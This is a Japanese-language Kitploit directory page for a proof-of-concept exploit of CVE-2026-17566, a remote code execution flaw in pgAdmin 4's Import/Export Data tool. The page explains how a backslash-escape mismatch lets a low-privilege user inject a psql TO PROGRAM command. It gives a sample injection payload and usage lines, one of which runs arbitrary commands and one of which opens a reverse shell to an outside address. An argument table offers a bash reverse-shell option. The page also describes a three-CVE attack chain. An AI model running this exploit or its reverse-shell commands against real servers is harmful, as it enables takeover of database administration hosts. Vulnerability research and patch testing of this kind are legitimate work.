Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-17566 — pgAdmin 4 インポート/エクスポート RCE (CVE-2026-17566) PoC - バックスラッシュエスケープの不一致によるTO PROGRAMインジェクション | Kitploit
ツール/GitHubGitHub/hackspeak/cve-2026-17566
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテスト
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 インポート/エクスポート RCE (CVE-2026-17566) PoC - バックスラッシュエスケープの不一致によるTO PROGRAMインジェクション

リポジトリを見る
111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC

pgAdmin 4 Import/Export Data ツールのリモートコード実行 PoC。_is_query_parens_balanced() 括弧チェッカーと psql のバックスラッシュエスケープの解釈の相違を悪用し、\copy ... TO PROGRAM を注入することで、pgAdmin を実行しているサーバー上で任意のコマンドを実行します。

背景となる攻撃チェーン:CVE-2026-17349(Workspaces 認証情報の漏洩)→ CVE-2026-17351(AI Assistant 読み取り専用バイパス)→ 本脆弱性(RCE)。いずれも低権限の認証済みユーザーのみで成立します。

脆弱性の概要

Import/Export Data ツールは、ユーザーの SQL を Jinja テンプレートに挿入して psql \copy (...) コマンドを構築します。手書きの括弧バランスチェッカーは常に \' をエスケープされた引用符として扱います(正しいのは standard_conforming_strings=off の場合のみ)。一方、PostgreSQL のデフォルトである standard_conforming_strings=on では、psql はバックスラッシュを通常の文字として扱うため、引用符はそのまま閉じられます。

root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

チェッカーは ) がまだ文字列内にあると判断するため、括弧の「バランス」は通過します。psql は a\' の位置で文字列を閉じ、) が \copy (...) の囲みを終了させるため、TO PROGRAM 'cmd' が有効な命令となり、psql の popen() によって実行されます。

  • CWE: CWE-78(OS コマンドインジェクション)/ CWE-115(入力の誤解釈)
  • CVSS: 9.9(CVSS 3.1)/ 9.4(CVSS 4.0)、影響範囲の変更、低権限 + ユーザー操作不要
  • 影響を受けるバージョン: pgAdmin 4 < 9.18(_is_query_parens_balanced() の導入以降);修正 commit 1496fabe
  • 関連: CVE-2025-12762 / CVE-2025-13780(psql の TO PROGRAM インジェクション、同系統)
  • 発見者: Arpit Jain(arpitjain099)

悪用条件

  • 認証済みの低権限 pgAdmin ユーザー(tools_import_export_data 権限を持つ)
  • ネットワークから到達可能な pgAdmin サービス
  • 対象が pgAdmin 4 < 9.18 であり、Import/Export ツールが利用可能であること

使用方法

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555

フロー:ログイン(CSRF/session は自動処理)→ サーバーの列挙 → POST /import_export/job/<sid> で構築した is_query_export リクエストを送信。

⚠️ 免責事項

セキュリティ研究、脆弱性の検証、および防御的テストのみを目的としています。本スクリプトは公開された技術分析に基づいて作成されており、実機での検証は行われていません。リクエストフィールドは対象の pgAdmin バージョンに応じて微調整が必要な場合があります。許可されたテスト環境でのみ実行し、未承認のシステムに対しては使用しないでください。

クレジットと参考

  • 本リポジトリは独立して作成された PoC(MIT ライセンス)であり、技術的根拠は公開資料に基づいています
  • 公式 Issue #10213:括弧チェッカーのバックスラッシュ解釈エラー
  • OpenCVE:CVE-2026-17566
  • NVD:CVE-2026-17566
  • 修正 commit:1496fabe
ツールをダウンロード
引数説明
--urlpgAdmin のベース URL
--user / --password(または PGADMIN_PASSWORD)低権限アカウント
--command任意のコマンド(単一引用符を含めることは不可)
--reverse HOST:PORTbash リバースシェルを生成
--server-idサーバー ID(デフォルトでは最初のものを自動取得)
--fileエクスポートファイル名(\copy コマンドの構築に使用、デフォルトは /tmp/pgadmin_export.csv)
--no-verifyTLS 証明書の検証をスキップ